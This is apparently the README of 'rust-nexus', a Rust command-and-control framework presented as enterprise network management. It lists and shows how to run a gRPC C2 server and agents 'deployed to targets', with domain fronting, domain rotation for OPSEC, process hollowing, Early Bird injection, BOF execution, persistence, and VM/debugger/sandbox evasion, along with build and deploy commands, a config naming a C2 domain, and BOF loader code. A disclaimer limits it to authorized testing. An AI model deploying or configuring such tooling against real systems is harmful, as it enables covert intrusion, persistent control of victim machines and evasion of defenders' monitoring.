An advanced network management framework built in Rust featuring enterprise-grade infrastructure automation, dynamic domain management, automated certificate provisioning, gRPC communication, and cross-platform execution capabilities.
Rust-Nexus combines distributed system capabilities with cutting-edge infrastructure automation to create a sophisticated, enterprise-ready framework for network management and automation.
- ποΈ Infrastructure Management (
nexus-infra): Automated DNS, certificates, and domain rotation - π§ Agent Framework (
nexus-agent): Cross-platform execution with advanced techniques - π₯οΈ Management Server (
nexus-server): gRPC-based server with node management - π Common Library (
nexus-common): Shared utilities and cryptographic functions
- β Cloudflare DNS Integration: Automated subdomain creation and management
- β Let's Encrypt Automation: DNS-01 challenge certificate provisioning
- β Origin Certificates: Cloudflare origin certificate support with pinning
- β Domain Fronting: Traffic disguised as legitimate CDN requests
- β Dynamic Domain Rotation: Automated infrastructure changes for OPSEC
- β gRPC over mTLS: Modern protocol with bidirectional streaming
- β Certificate Pinning: Enhanced security with origin certificate validation
- β Connection Resilience: Automatic failover and retry mechanisms
- β Traffic Obfuscation: Legitimate-looking HTTPS patterns
- β Geographic Distribution: Leverage Cloudflare's global network
- β BOF/COFF Support: Windows Beacon Object File execution
- β Fiber Techniques: Direct fiber execution and process hollowing
- β PE/COFF Parsing: Complete COFF loader with API resolution
- β Memory Management: Safe allocation with proper cleanup
- β Early Bird Injection: Pre-process initialization techniques
- β Anti-Analysis: VM, debugger, and sandbox detection
- β Timing Evasion: Jitter and randomization techniques
- β Certificate Validation: Multi-layer TLS security
- β Operational Security: Automated infrastructure rotation
- β Traffic Legitimacy: CDN-fronted communications
βββββββββββββββββββββββββββ βββββββββββββββββββββββββββ βββββββββββββββββββββββββββ
β Infrastructure β β gRPC/TLS Comms β β Agents β
β β β β β β
βββββββββββββββββββββββββββ€ βββββββββββββββββββββββββββ€ βββββββββββββββββββββββββββ€
β β’ Cloudflare DNS API βββββΊβ β’ Mutual TLS βββββΊβ β’ BOF/COFF Execution β
β β’ Let's Encrypt ACME β β β’ Domain Fronting β β β’ Fiber Techniques β
β β’ Certificate Managementβ β β’ Certificate Pinning β β β’ Advanced Injection β
β β’ Domain Rotation β β β’ Connection Pooling β β β’ Anti-Analysis β
β β’ Health Monitoring β β β’ Streaming Tasks β β β’ Persistence β
βββββββββββββββββββββββββββ βββββββββββββββββββββββββββ βββββββββββββββββββββββββββ
rust-nexus/
βββ nexus-infra/ # π Infrastructure management
β βββ proto/
β β βββ nexus.proto # gRPC service definitions
β βββ src/
β βββ cloudflare.rs # Cloudflare DNS API client
β βββ letsencrypt.rs # Let's Encrypt ACME automation
β βββ cert_manager.rs # Certificate and TLS management
β βββ domain_manager.rs # Domain rotation and health monitoring
β βββ grpc_client.rs # Enhanced gRPC client
β βββ grpc_server.rs # gRPC server implementation
β βββ bof_loader.rs # BOF/COFF execution engine
β βββ config.rs # Configuration management
βββ nexus-common/ # Shared libraries
β βββ src/
β βββ crypto.rs # AES-256-GCM + RSA encryption
β βββ messages.rs # Legacy TCP message types
β βββ agent.rs # Agent data structures
β βββ tasks.rs # Task and result types
βββ nexus-agent/ # Enhanced agent
β βββ src/
β βββ agent.rs # Core agent with gRPC support
β βββ communication.rs # Multi-protocol communication
β βββ execution.rs # Enhanced task execution
β βββ fiber_execution.rs # Windows fiber techniques
β βββ bof_execution.rs # π BOF execution integration
β βββ evasion.rs # Anti-analysis techniques
β βββ persistence.rs # Persistence mechanisms
β βββ system.rs # System information gathering
βββ nexus-server/ # π gRPC C2 server
β βββ src/
β βββ main.rs # Server main with infrastructure
β βββ handlers.rs # gRPC service handlers
β βββ agent_manager.rs # Agent lifecycle management
β βββ cli.rs # Administrative interface
βββ config/ # π Configuration templates
β βββ examples/ # Example configurations
β βββ production/ # Production templates
βββ docs/ # π Comprehensive documentation
β βββ infrastructure/ # Infrastructure guides
β βββ execution/ # Execution technique guides
β βββ configuration/ # Setup and config guides
β βββ api/ # API reference documentation
β βββ operations/ # Operational guides
βββ scripts/ # Enhanced build and deployment
βββ build.sh # Cross-platform builds
βββ deploy.sh # Infrastructure deployment
βββ setup-cloudflare.sh # Cloudflare initial setup
- Rust 1.70+ with cargo
- Cloudflare account with API token
- Domain managed by Cloudflare
- Basic understanding of TLS/certificates
# Clone the repository
git clone https://github.com/cmndcntrlcyber/rust-nexus.git
cd rust-nexus
# Create configuration from template
cp config/examples/nexus-config.toml ./nexus.toml
# Edit configuration with your Cloudflare details
vim nexus.toml # Add your API token, zone ID, and domain# Build all components
cargo build --release
# Or build specific components
cargo build --release -p nexus-infra
cargo build --release -p nexus-server
cargo build --release -p nexus-agent# Initialize Cloudflare DNS and certificates
./target/release/nexus-infra setup --config nexus.toml
# Start the gRPC C2 server
./target/release/nexus-server --config nexus.toml
# Deploy agents to targets
./target/release/nexus-agent --config agent.toml[cloudflare]
api_token = "your_cloudflare_api_token"
zone_id = "your_zone_id"
domain = "example.com"
proxy_enabled = true
ttl = 300
[letsencrypt]
contact_email = "[email protected]"
challenge_type = "Dns01"
cert_renewal_days = 30
wildcard_enabled = true
[grpc_server]
bind_address = "0.0.0.0"
port = 443
mutual_tls = true
max_connections = 1000
[domains]
primary_domains = ["c2.example.com"]
rotation_interval = 24
max_subdomains = 10
[security]
additional_encryption = true
traffic_obfuscation = true
anti_analysis = { vm_detection = true, debugger_detection = true }# Register agent with gRPC server
./nexus-agent --grpc-endpoint https://api.example.com:443
# Execute commands with arguments
nexus-cli execute agent-123 "system-info.obj" "go"
# Domain rotation
nexus-cli domain rotate --immediateuse nexus_infra::{BOFLoader, BofArgument};
let loader = BOFLoader::new();
let bof_data = std::fs::read("custom.obj")?;
let loaded_bof = loader.load_bof(&bof_data)?;
let args = vec![
BofArgument::string("target_system"),
BofArgument::int32(1234),
];
let result = loader.execute_bof(&loaded_bof, "go", &args)?;use nexus_infra::{CloudflareManager, DomainManager};
// Create new C2 subdomain
let domain = domain_manager.create_new_domain().await?;
println!("New C2 endpoint: {}", domain.full_domain);
// Automatic certificate provisioning
let cert = cert_manager.request_certificate(&domain.full_domain, &[]).await?;# Check infrastructure health
nexus-cli status --all
# Domain health check
nexus-cli domains health
# Certificate status
nexus-cli certificates status# Rotate domains immediately
nexus-cli domains rotate --immediate
# Update all domains to new IP
nexus-cli domains update-ip 203.0.113.10
# Renew certificates
nexus-cli certificates renew --all- Automated Provisioning: Let's Encrypt DNS-01 challenges via Cloudflare
- Origin Certificates: Cloudflare origin certs for backend security
- Certificate Pinning: Multi-layer validation and pinning
- Auto-Renewal: Certificates renewed 30 days before expiration
- CDN Integration: Traffic routed through Cloudflare's network
- Host Header Manipulation: Proper domain fronting implementation
- Geographic Distribution: Global edge location utilization
- Traffic Legitimacy: Indistinguishable from normal CDN traffic
- Infrastructure Level: Domain rotation defeats long-term analysis
- Certificate Level: Valid TLS certificates prevent SSL inspection
- Application Level: Enhanced VM/debugger/sandbox detection
- Network Level: Traffic patterns match legitimate services
# Run all tests
cargo test
# Test infrastructure components
cargo test -p nexus-infra
# Test BOF loading
cargo test -p nexus-infra bof_loader
# Integration tests
./scripts/test-integration.sh- Infrastructure Setup - Complete infrastructure guide
- Cloudflare Integration - DNS API setup
- Certificate Management - TLS and Let's Encrypt
- BOF Development - BOF creation and execution
- Production Deployment - Enterprise deployment
- API Reference - Complete API documentation
- Stealth C2: Domain fronting defeats network monitoring
- Infrastructure Agility: Rapid domain rotation for persistence
- Advanced Payloads: BOF support for sophisticated techniques
- Enterprise Evasion: Multi-layer anti-analysis capabilities
- Technique Development: Framework for researching new methods
- Tool Integration: BOF ecosystem compatibility
- Protocol Research: gRPC-based C2 communication studies
- Infrastructure Automation: Research operational automation
- C2 Architecture: Modern framework design patterns
- Infrastructure Automation: Cloud-native deployment techniques
- Certificate Management: Automated PKI operations
- Advanced Execution: Windows internals and injection methods
# Development build with debug symbols
cargo build
# Optimized release build
cargo build --release --all
# Cross-compilation for Windows
cargo build --release --target x86_64-pc-windows-gnu
# Build with specific features
cargo build --features "enterprise,monitoring"- Fork the repository
- Create feature branch (
git checkout -b feature/enhancement) - Run tests (
cargo test) - Submit pull request with comprehensive description
β Cloudflare API Connection Failed
# Verify API token permissions
curl -H "Authorization: Bearer YOUR_TOKEN" \
"https://api.cloudflare.com/client/v4/user/tokens/verify"
# Check zone access
nexus-cli cloudflare verify --zone-id YOUR_ZONE_IDβ Certificate Provisioning Failed
# Check DNS propagation
dig TXT _acme-challenge.your-domain.com
# Manual certificate request
nexus-cli certificates request your-domain.com --forceβ gRPC Connection Issues
# Test TLS connection
openssl s_client -connect your-domain.com:443 -servername your-domain.com
# Debug gRPC communication
RUST_LOG=debug ./target/release/nexus-agent --config agent.toml- Connection Pools: Adjust
max_connectionsfor load - Domain Health: Configure
health_monitoringintervals - Certificate Cache: Tune renewal thresholds
- Task Queues: Optimize task distribution patterns
- Agent Connections: 1000+ concurrent agents per server
- Domain Rotation: Sub-second DNS propagation via Cloudflare
- Certificate Provisioning: <60 seconds for new certificates
- BOF Execution: Minimal overhead compared to shellcode injection
- Horizontal Scaling: Multiple server instances with load balancing
- Geographic Distribution: Regional server deployment
- Connection Pooling: Efficient resource utilization
- Lazy Initialization: On-demand resource allocation
- Audit Logging: Comprehensive operation logging
- Certificate Lifecycle: Automated compliance tracking
- Infrastructure Changes: Detailed change management
- Agent Activity: Real-time monitoring dashboards
- Multi-Region: Deploy across multiple cloud regions
- Failover: Automatic failover between domains/servers
- Health Monitoring: Continuous infrastructure health checks
- Disaster Recovery: Automated backup and restore procedures
This framework is designed for authorized security testing and research purposes only. Users must:
- Ensure compliance with applicable laws and regulations
- Obtain proper authorization before deployment
- Use responsibly and ethically
- Respect system and network boundaries
- Follow responsible disclosure practices
The authors are not responsible for misuse of this software.
This project is licensed under the MIT License - see the LICENSE file for details.
- Rust Community: Exceptional tooling and ecosystem
- Cloudflare: Robust API and global infrastructure
- Let's Encrypt: Free, automated certificate authority
- Sliver Framework: Inspiration for gRPC architecture
- BOF Community: Windows internals research and techniques
- Maldev Academy: Fiber execution and evasion techniques
Ready to deploy? Check out our Infrastructure Setup Guide for step-by-step instructions.
For BOF development, see the BOF Development Guide.
For production deployments, review the Enterprise Setup Guide.
Built with β€οΈ in Rust | Enterprise-Ready | Research-Focused | Security-First